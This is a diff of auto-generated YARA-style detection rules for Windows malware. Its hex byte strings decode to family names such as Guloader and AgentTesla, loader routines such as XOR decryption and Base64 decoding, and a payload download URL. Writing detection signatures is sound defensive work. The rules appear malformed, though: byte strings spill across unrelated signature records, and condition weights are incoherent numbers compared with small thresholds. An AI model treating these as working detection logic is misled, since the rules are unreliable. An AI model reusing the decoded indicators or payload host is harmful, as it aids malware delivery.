((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25955+(#a_73_2 & 1)*24946+(#a_6e_3 & 1)*27497+(#a_62_4 & 1)*25972+(#a_61_5 & 1)*27765+(#a_01_6 & 1)*28265+(#a_54_7 & 1)*18467) >=8 } -rule _InfrastructureShared_15363{ +rule _InfrastructureShared_16371{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 50 50 49 31 32 33 21 4d 54 42 00 01 00 21 81 01 73 74 72 6b 62 61 72 65 73 20 73 6c 61 6d 6b 69 73 74 65 72 20 73 61 6d 6d 65 6e 73 76 72 67 65 72 01 00 10 81 01 72 65 61 6c 6c 65 6b 73 69 6b 6f 6e } //18467 $a_65_1 = {00 1a 81 01 5c 67 61 7a 65 62 6f 5c 6d 67 6c 69 6e 67 65 72 73 5c 64 65 72 69 65 72 6e 65 01 00 10 81 01 48 61 6e 64 73 68 61 6b 69 6e 67 30 2e 64 69 76 01 00 0c 81 01 61 64 76 69 73 62 77 72 2e 70 6e 65 01 00 15 81 01 6c 61 76 70 72 69 73 76 61 72 65 68 75 73 65 74 73 2e 66 65 69 01 00 0e 81 01 70 72 65 61 64 61 6d 69 74 65 2e } //29285 - $a_01_2 = {00 0e 81 01 73 6b 6e 64 73 65 6c 65 6e 73 2e 73 74 69 00 00 78 ea 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 46 4c 21 4d 54 42 00 01 00 06 80 01 73 61 64 61 64 61 01 00 15 80 01 54 61 73 6b 43 61 6e 63 65 6c 65 64 45 } //26978 - $a_70_3 = {69 6f 6e 01 00 0b 80 01 58 4f 52 5f 44 65 63 72 79 70 74 01 00 0d 80 01 49 53 65 63 74 69 6f 6e 45 6e 74 72 79 01 00 13 80 01 67 65 74 5f 52 65 73 74 72 69 63 74 65 64 45 72 72 6f 72 01 00 13 80 01 67 65 74 5f 56 61 6c 75 65 45 6e 75 6d 65 72 61 74 6f 72 01 00 09 80 01 53 65 6c 65 63 74 6f 72 58 01 00 } //25464 - $a_46_4 = {6f } //-32752 o - $a_73_5 = {36 34 53 74 72 69 6e 67 01 00 1c 80 01 48 65 62 72 65 77 4e 75 6d 62 65 72 50 61 72 73 69 6e 67 2e 43 75 73 74 41 74 74 72 00 00 78 ea 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4b 5a 21 4d 54 42 00 01 00 08 81 01 46 } //17005 - $a_79_6 = {65 73 01 00 08 81 01 47 65 74 41 73 79 6e 63 01 00 14 81 01 52 65 61 64 41 73 42 79 74 65 41 72 72 61 79 41 73 79 6e 63 01 00 0b 81 01 56 71 78 68 6d 74 61 64 79 67 69 01 00 08 81 01 46 68 69 75 6f } //28527 - $a_01_7 = {00 25 81 01 24 35 61 33 65 64 33 39 37 2d 32 39 62 32 2d 34 37 31 65 2d 61 66 39 32 2d 66 31 66 63 33 62 32 37 39 62 39 38 01 00 13 81 01 45 78 64 69 65 6f 73 6f 2e 56 74 78 61 75 79 65 6e 6a 73 01 00 0a 81 01 51 78 6b 6a 68 61 70 6c 66 69 01 00 16 81 01 68 74 74 70 73 3a 2f 2f 71 75 2e 61 78 2f 64 4f 6f 59 2e 6d 70 33 00 00 78 ea 00 00 0a 00 0a 00 07 00 } //25958 + $a_01_2 = {00 0e 81 01 73 6b 6e 64 73 65 6c 65 6e 73 2e 73 74 69 00 00 78 ea 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 4b 58 30 31 21 4d 54 42 00 01 00 19 81 01 75 6e 64 65 72 73 67 65 6c 73 65 73 6b 6f 6d 6d 69 73 69 6f 6e 2e 6a 70 67 01 00 11 81 01 6c } //26978 + $a_72_3 = {69 6e 65 72 65 6e 73 2e 74 72 6b 01 00 11 81 01 61 6d 74 73 70 6c 65 6a 65 68 6a 65 6d 2e 66 74 63 01 00 16 81 01 5c 73 6b 69 65 67 68 5c 65 6d 70 61 74 68 69 73 65 64 2e 69 6e 69 01 00 0a 81 01 74 61 74 63 68 79 2e 73 74 69 01 00 0f 81 01 6d 61 73 6a 61 73 20 73 68 61 6b 61 62 6c 65 01 00 13 81 01 75 } //25193 + $a_72_4 = {73 20 70 72 6f 74 75 62 65 72 6f 75 73 01 00 1d 81 01 73 70 61 6e 64 65 73 20 67 61 61 72 64 68 61 76 65 68 75 73 20 75 6e 6e 75 6d 62 65 64 00 00 78 ea 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 46 4c 21 4d 54 42 00 01 00 06 80 01 73 61 } //26480 + $a_61_5 = {00 15 80 01 54 61 73 6b 43 61 6e 63 65 6c 65 64 45 78 63 65 70 74 69 6f 6e 01 00 0b 80 01 58 4f 52 5f 44 65 63 72 79 70 74 01 00 0d 80 01 49 53 65 63 74 69 6f 6e 45 6e 74 72 79 01 00 13 80 01 67 65 74 5f 52 65 73 74 72 69 63 74 65 64 45 72 72 6f 72 01 00 13 80 01 67 65 74 5f 56 61 6c 75 65 45 6e 75 } //24932 + $a_61_6 = {6f 72 01 00 09 80 01 53 65 6c 65 63 74 6f 72 58 01 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 1c 80 01 48 65 62 72 65 77 4e 75 6d 62 65 72 50 61 72 73 69 6e 67 2e 43 75 73 74 41 74 74 72 00 00 78 ea 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4b } //25965 + $a_54_7 = {00 01 00 08 81 01 46 6f 6f 42 79 74 65 73 01 00 08 81 01 47 65 74 41 73 79 6e 63 01 00 14 81 01 52 65 61 64 41 73 42 79 74 65 41 72 72 61 79 41 73 79 6e 63 01 00 0b 81 01 56 71 78 68 6d 74 61 64 79 67 69 01 00 08 81 01 46 68 69 75 } //8538 condition: - ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29285+(#a_01_2 & 1)*26978+(#a_70_3 & 1)*25464+(#a_46_4 & 1)*-32752+(#a_73_5 & 1)*17005+(#a_79_6 & 1)*28527+(#a_01_7 & 1)*25958) >=8 + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29285+(#a_01_2 & 1)*26978+(#a_72_3 & 1)*25193+(#a_72_4 & 1)*26480+(#a_61_5 & 1)*24932+(#a_61_6 & 1)*25965+(#a_54_7 & 1)*8538) >=8 } -rule _InfrastructureShared_15364{ +rule _InfrastructureShared_16372{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 4b 58 30 31 21 4d 54 42 00 01 00 19 81 01 75 6e 64 65 72 73 67 65 6c 73 65 73 6b 6f 6d 6d 69 73 69 6f 6e 2e 6a 70 67 01 00 11 81 01 6c 69 62 65 72 74 69 6e 65 72 65 6e 73 2e 74 72 6b 01 00 11 81 01 } //18467 + $a_73_1 = {6c 65 6a 65 68 6a 65 6d 2e 66 74 63 01 00 16 81 01 5c 73 6b 69 65 67 68 5c 65 6d 70 61 74 68 69 73 65 64 2e 69 6e 69 01 00 0a 81 01 74 61 74 63 68 79 2e 73 74 69 01 00 0f 81 01 6d 61 73 6a 61 73 20 73 68 61 6b 61 62 6c 65 01 00 13 81 01 75 70 67 69 72 64 73 20 70 72 6f 74 75 62 65 72 6f 75 73 01 00 1d 81 01 73 70 61 6e 64 65 73 20 67 61 61 72 64 } //28001 + $a_65_2 = {75 73 20 75 6e 6e 75 6d 62 65 64 00 00 78 ea 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 46 4c 21 4d 54 42 00 01 00 06 80 01 73 61 64 61 64 61 01 00 15 80 01 54 61 73 6b 43 61 6e 63 65 6c 65 64 45 78 63 65 70 74 69 6f 6e 01 00 0b 80 01 58 4f 52 5f 44 65 63 72 79 70 74 01 00 0d } //24936 + $a_53_3 = {63 74 69 6f 6e 45 6e 74 72 79 01 00 13 80 01 67 65 74 5f 52 65 73 74 72 69 63 74 65 64 45 72 72 6f 72 01 00 13 80 01 67 65 74 5f 56 61 6c 75 65 45 6e 75 6d 65 72 61 74 6f 72 01 00 09 80 01 53 65 6c 65 63 74 6f 72 58 01 } //384 + $a_01_4 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 1c 80 01 48 65 62 72 65 77 4e 75 6d 62 65 72 50 61 72 73 69 6e 67 2e 43 75 73 74 41 74 74 72 00 00 78 ea 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4b 5a 21 4d 54 42 00 01 00 08 81 01 46 6f 6f 42 79 74 65 73 01 00 08 81 01 47 65 74 41 73 79 6e 63 01 00 14 } //4096 + $a_65_5 = {64 41 73 42 79 74 65 41 72 72 61 79 41 73 79 6e 63 01 00 0b 81 01 56 71 78 68 6d 74 61 64 79 67 69 01 00 08 81 01 46 68 69 75 6f 66 65 77 01 00 25 81 01 24 35 61 33 65 64 33 39 37 2d 32 39 62 32 2d 34 37 31 65 2d 61 66 39 32 2d 66 31 66 63 33 62 } //385 + $a_62_6 = {38 01 00 13 81 01 45 78 64 69 65 6f 73 6f 2e 56 74 78 61 75 79 65 6e 6a 73 01 00 0a 81 01 51 78 6b 6a 68 61 70 6c 66 69 01 00 16 81 01 68 74 74 70 73 3a 2f 2f 71 75 2e 61 } //14130 + $a_4f_7 = {59 2e 6d 70 33 00 00 78 ea 00 00 0a 00 0a 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 54 44 34 36 35 21 4d 54 42 00 01 00 0c 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 01 00 09 01 47 65 74 4d 65 74 68 6f 64 01 00 0d 01 44 79 6e 61 6d 69 63 49 } //12152 + condition: + ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*28001+(#a_65_2 & 1)*24936+(#a_53_3 & 1)*384+(#a_01_4 & 1)*4096+(#a_65_5 & 1)*385+(#a_62_6 & 1)*14130+(#a_4f_7 & 1)*12152) >=8 + +} +rule _InfrastructureShared_16373{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -178139,7 +190066,7 @@ rule _InfrastructureShared_15364{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28793+(#a_72_2 & 1)*20594+(#a_79_3 & 1)*29505+(#a_2d_4 & 1)*14694+(#a_81_5 & 1)*1+(#a_ea_6 & 1)*0+(#a_2d_7 & 1)*20483+(#a_00_8 & 1)*47) >=9 } -rule _InfrastructureShared_15365{ +rule _InfrastructureShared_16374{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -178157,7 +190084,7 @@ rule _InfrastructureShared_15365{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_ea_7 & 1)*0+(#a_2d_8 & 1)*20483) >=9 } -rule _InfrastructureShared_15366{ +rule _InfrastructureShared_16375{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 07 00 21 " @@ -178172,7 +190099,7 @@ rule _InfrastructureShared_15366{ ((#a_54_0 & 1)*18467+(#a_47_1 & 1)*1792+(#a_65_2 & 1)*31060+(#a_02_4 & 1)*50+(#a_6f_5 & 1)*384+(#a_74_6 & 1)*25968) >=10 } -rule _InfrastructureShared_15367{ +rule _InfrastructureShared_16376{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -178191,7 +190118,7 @@ rule _InfrastructureShared_15367{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28520+(#a_50_2 & 1)*25972+(#a_6f_3 & 1)*21562+(#a_67_4 & 1)*24904+(#a_3a_5 & 1)*19521+(#a_20_6 & 1)*2061+(#a_06_7 & 1)*4358+(#a_90_8 & 1)*23326+(#a_65_9 & 1)*25972) >=10 } -rule _InfrastructureShared_15368{ +rule _InfrastructureShared_16377{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -178209,7 +190136,7 @@ rule _InfrastructureShared_15368{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*28257+(#a_67_2 & 1)*24904+(#a_8d_4 & 1)*1025+(#a_04_5 & 1)*-28561+(#a_01_6 & 1)*28507+(#a_57_7 & 1)*28015+(#a_00_8 & 1)*104+(#a_01_9 & 1)*24948) >=10 } -rule _InfrastructureShared_15369{ +rule _InfrastructureShared_16378{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -178220,7 +190147,7 @@ rule _InfrastructureShared_15369{ ((#a_46_0 & 1)*16675+(#a_04_2 & 1)*1025) >=12 } -rule _InfrastructureShared_15370{ +rule _InfrastructureShared_16379{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 07 00 21 " @@ -178233,7 +190160,7 @@ rule _InfrastructureShared_15370{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*97+(#a_11_2 & 1)*-28656+(#a_61_5 & 1)*400) >=12 } -rule _InfrastructureShared_15371{ +rule _InfrastructureShared_16380{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 09 00 21 " @@ -178251,7 +190178,7 @@ rule _InfrastructureShared_15371{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*53+(#a_4e_2 & 1)*17477+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_ea_5 & 1)*0+(#a_01_6 & 1)*29813+(#a_74_7 & 1)*28233+(#a_70_8 & 1)*266) >=16 } -rule _InfrastructureShared_15372{ +rule _InfrastructureShared_16381{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 09 00 21 " @@ -178269,7 +190196,7 @@ rule _InfrastructureShared_15372{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*24940+(#a_74_2 & 1)*18799+(#a_01_3 & 1)*10+(#a_01_4 & 1)*10+(#a_01_5 & 1)*100+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1) >=18 } -rule _InfrastructureShared_15373{ +rule _InfrastructureShared_16382{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,70 00 70 00 0d 00 21 " @@ -178291,7 +190218,7 @@ rule _InfrastructureShared_15373{ ((#a_77_0 & 1)*16675+(#a_6b_1 & 1)*25966+(#a_70_2 & 1)*264+(#a_3a_3 & 1)*24938+(#a_01_4 & 1)*-28558+(#a_04_5 & 1)*-28539+(#a_04_6 & 1)*-28568+(#a_e8_7 & 1)*400+(#a_b5_8 & 1)*26124+(#a_45_9 & 1)*6288+(#a_01_10 & 1)*7561+(#a_dc_11 & 1)*-30464+(#a_00_12 & 1)*12593) >=112 } -rule _InfrastructureShared_15374{ +rule _InfrastructureShared_16383{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -178301,7 +190228,7 @@ rule _InfrastructureShared_15374{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_15375{ +rule _InfrastructureShared_16384{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -178311,7 +190238,7 @@ rule _InfrastructureShared_15375{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_15376{ +rule _InfrastructureShared_16385{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -178327,7 +190254,7 @@ rule _InfrastructureShared_15376{ ((#a_54_0 & 1)*18467+(#a_b9_1 & 1)*5120+(#a_f1_2 & 1)*0+(#a_89_3 & 1)*400+(#a_03_4 & 1)*-28535+(#a_00_5 & 1)*2448+(#a_03_6 & 1)*1) >=1 } -rule _InfrastructureShared_15377{ +rule _InfrastructureShared_16386{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -178342,7 +190269,7 @@ rule _InfrastructureShared_15377{ ((#a_44_0 & 1)*19491+(#a_90_1 & 1)*769+(#a_01_2 & 1)*29952+(#a_73_3 & 1)*17262+(#a_c0_5 & 1)*2048+(#a_48_6 & 1)*8448) >=1 } -rule _InfrastructureShared_15378{ +rule _InfrastructureShared_16387{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -178353,7 +190280,7 @@ rule _InfrastructureShared_15378{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*2448) >=2 } -rule _InfrastructureShared_15379{ +rule _InfrastructureShared_16388{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -178367,7 +190294,7 @@ rule _InfrastructureShared_15379{ ((#a_46_0 & 1)*16675+(#a_69_2 & 1)*19968+(#a_25_3 & 1)*656+(#a_02_4 & 1)*-29951+(#a_41_5 & 1)*19529) >=2 } -rule _InfrastructureShared_15380{ +rule _InfrastructureShared_16389{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -178378,7 +190305,7 @@ rule _InfrastructureShared_15380{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*8960) >=3 } -rule _InfrastructureShared_15381{ +rule _InfrastructureShared_16390{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -178389,7 +190316,7 @@ rule _InfrastructureShared_15381{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*5888) >=3 } -rule _InfrastructureShared_15382{ +rule _InfrastructureShared_16391{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -178399,7 +190326,7 @@ rule _InfrastructureShared_15382{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_15383{ +rule _InfrastructureShared_16392{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -178410,7 +190337,7 @@ rule _InfrastructureShared_15383{ ((#a_54_0 & 1)*18467+(#a_07_1 & 1)*0) >=3 } -rule _InfrastructureShared_15384{ +rule _InfrastructureShared_16393{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -178421,7 +190348,7 @@ rule _InfrastructureShared_15384{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*114) >=3 } -rule _InfrastructureShared_15385{ +rule _InfrastructureShared_16394{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -178433,7 +190360,7 @@ rule _InfrastructureShared_15385{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*400+(#a_03_2 & 1)*2) >=4 } -rule _InfrastructureShared_15386{ +rule _InfrastructureShared_16395{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -178446,7 +190373,7 @@ rule _InfrastructureShared_15386{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*28502+(#a_66_2 & 1)*28515+(#a_6d_3 & 1)*29254) >=4 } -rule _InfrastructureShared_15387{ +rule _InfrastructureShared_16396{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -178460,7 +190387,7 @@ rule _InfrastructureShared_15387{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*21321+(#a_41_2 & 1)*13357+(#a_6c_3 & 1)*25940+(#a_01_4 & 1)*28265) >=4 } -rule _InfrastructureShared_15388{ +rule _InfrastructureShared_16397{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -178474,7 +190401,7 @@ rule _InfrastructureShared_15388{ ((#a_54_0 & 1)*18467+(#a_32_1 & 1)*292+(#a_38_2 & 1)*17720+(#a_6f_3 & 1)*21562+(#a_36_4 & 1)*14131) >=5 } -rule _InfrastructureShared_15389{ +rule _InfrastructureShared_16398{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -178488,7 +190415,7 @@ rule _InfrastructureShared_15389{ ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*26964+(#a_63_2 & 1)*21620+(#a_6c_3 & 1)*24948+(#a_3d_4 & 1)*15677) >=5 } -rule _InfrastructureShared_15390{ +rule _InfrastructureShared_16399{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -178503,7 +190430,7 @@ rule _InfrastructureShared_15390{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*9216+(#a_74_2 & 1)*26980+(#a_01_3 & 1)*7680+(#a_eb_4 & 1)*0+(#a_00_5 & 1)*104) >=5 } -rule _InfrastructureShared_15391{ +rule _InfrastructureShared_16400{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -178519,7 +190446,7 @@ rule _InfrastructureShared_15391{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*8313+(#a_68_2 & 1)*25697+(#a_65_3 & 1)*25902+(#a_00_5 & 1)*104+(#a_6d_6 & 1)*21620+(#a_75_7 & 1)*29541) >=5 } -rule _InfrastructureShared_15392{ +rule _InfrastructureShared_16401{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -178534,7 +190461,7 @@ rule _InfrastructureShared_15392{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*104+(#a_00_2 & 1)*97+(#a_74_3 & 1)*18177+(#a_65_4 & 1)*11890+(#a_65_5 & 1)*275) >=6 } -rule _InfrastructureShared_15393{ +rule _InfrastructureShared_16402{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -178549,7 +190476,7 @@ rule _InfrastructureShared_15393{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*22120+(#a_74_2 & 1)*16741+(#a_65_3 & 1)*28276+(#a_63_4 & 1)*28530+(#a_01_5 & 1)*-224) >=6 } -rule _InfrastructureShared_15394{ +rule _InfrastructureShared_16403{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -178564,7 +190491,7 @@ rule _InfrastructureShared_15394{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*11891+(#a_6d_2 & 1)*24833+(#a_00_3 & 1)*5631+(#a_47_4 & 1)*17411+(#a_8b_5 & 1)*400) >=6 } -rule _InfrastructureShared_15395{ +rule _InfrastructureShared_16404{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -178578,7 +190505,7 @@ rule _InfrastructureShared_15395{ ((#a_46_0 & 1)*21283+(#a_24_2 & 1)*-29879+(#a_48_3 & 1)*400+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1) >=6 } -rule _InfrastructureShared_15396{ +rule _InfrastructureShared_16405{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -178594,7 +190521,7 @@ rule _InfrastructureShared_15396{ ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*-32493+(#a_65_2 & 1)*29494+(#a_47_3 & 1)*16953+(#a_55_4 & 1)*21829+(#a_4c_5 & 1)*21325+(#a_63_6 & 1)*21321) >=7 } -rule _InfrastructureShared_15397{ +rule _InfrastructureShared_16406{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -178610,7 +190537,7 @@ rule _InfrastructureShared_15397{ ((#a_54_0 & 1)*18467+(#a_49_1 & 1)*-32755+(#a_6f_2 & 1)*29795+(#a_52_3 & 1)*29795+(#a_67_4 & 1)*12108+(#a_44_5 & 1)*17478+(#a_53_6 & 1)*13925) >=7 } -rule _InfrastructureShared_15398{ +rule _InfrastructureShared_16407{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -178620,29 +190547,45 @@ rule _InfrastructureShared_15398{ $a_72_2 = {6e 67 01 00 07 01 52 65 70 6c 61 63 65 01 00 06 01 49 6e 76 6f 6b 65 01 00 05 01 46 6f 72 6d 31 01 00 16 01 54 48 4a 46 4b 4c 4d 55 49 45 57 59 55 48 4a 53 44 4a 2e 70 64 62 00 00 78 eb 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4b 57 30 31 21 4d 54 42 00 01 00 23 81 01 64 65 73 74 72 75 65 72 69 } //21300 $a_6e_3 = {73 74 65 67 6e 69 6e 67 65 6e 73 5c 74 72 79 6b 73 61 67 65 6e 01 00 25 81 01 70 73 65 75 64 6f 6c 61 62 69 61 6c 5c 6f 6d 65 6e 74 6f 72 72 68 61 70 68 79 5c 61 72 67 79 72 6f 6e 65 74 61 01 00 0c 81 01 70 65 72 6c 65 6b 64 65 2e 64 69 73 01 00 17 81 01 48 61 6c 76 6c 65 67 73 66 72 69 6e 67 65 72 73 } //26478 $a_2e_4 = {61 73 01 00 11 81 01 72 76 65 72 68 69 73 74 6f 72 69 65 73 2e 6a 70 67 01 00 0c 81 01 74 6f 6f 74 6c 69 73 68 2e 6a 70 67 01 00 18 81 01 53 69 61 6c 73 } //12594 - $a_6f_5 = {68 74 68 61 6c 6d 69 74 69 73 2e 69 6e 69 00 00 78 eb 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 41 4c 30 31 21 4d 54 42 00 01 00 18 81 01 73 74 65 6d 6d 65 6a 65 72 6e 65 6e 65 5c 68 6a 73 6b 6f 6c 65 72 6e 65 01 00 24 81 01 25 6d 65 74 72 6f 63 72 61 74 69 63 25 5c 67 61 6c 76 61 6e 6f 6d 65 74 65 72 5c 66 } //28764 - $a_74_6 = {65 73 74 01 00 21 81 01 73 65 6b 73 74 65 6e 61 61 72 73 66 64 73 65 6c 73 64 61 67 65 73 5c 50 61 6d 70 68 6c 65 74 36 33 01 00 1d 81 01 6d 61 72 76 65 6c 6c 65 72 20 6e 61 76 65 72 65 74 20 63 6f 6d 70 6f 74 61 74 69 6f 6e 01 00 0d 81 01 64 65 6e 61 74 69 6f 6e 61 6c 69 7a 65 01 00 0a 81 01 69 67 6e 6f 62 6c 65 73 73 65 01 00 0e 81 01 67 75 74 } //25970 + $a_6f_5 = {68 74 68 61 6c 6d 69 74 69 73 2e 69 6e 69 00 00 78 eb 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 56 44 30 31 21 4d 54 42 00 01 00 28 81 01 70 61 73 73 69 62 6c 65 20 6e 6f 6e 63 6f 6e 64 65 73 63 65 6e 64 69 6e 67 6e 65 73 73 20 63 6f 6e 67 61 65 72 6e 65 73 01 00 18 81 01 61 66 74 65 72 73 68 61 66 74 20 6f 72 } //28764 + $a_6c_6 = {74 65 2e 65 78 65 01 00 17 81 01 50 72 69 6e 74 65 72 6f 70 73 61 65 74 6e 69 6e 67 39 31 2e 43 61 63 01 00 16 81 01 74 72 6f 76 72 64 69 67 68 65 64 73 6b 6c 66 74 65 6e 2e 69 6e 69 01 00 18 81 01 68 61 6e 64 65 6c 73 72 65 73 74 72 69 6b 74 69 6f 6e 65 72 2e 76 69 65 01 00 0f 81 01 75 6e 77 68 69 6d 73 69 63 61 6c 2e 61 6c 71 01 00 0c 81 01 53 69 } //25441 condition: - ((#a_54_0 & 1)*18467+(#a_44_1 & 1)*17478+(#a_72_2 & 1)*21300+(#a_6e_3 & 1)*26478+(#a_2e_4 & 1)*12594+(#a_6f_5 & 1)*28764+(#a_74_6 & 1)*25970) >=7 + ((#a_54_0 & 1)*18467+(#a_44_1 & 1)*17478+(#a_72_2 & 1)*21300+(#a_6e_3 & 1)*26478+(#a_2e_4 & 1)*12594+(#a_6f_5 & 1)*28764+(#a_6c_6 & 1)*25441) >=7 } -rule _InfrastructureShared_15399{ +rule _InfrastructureShared_16408{ 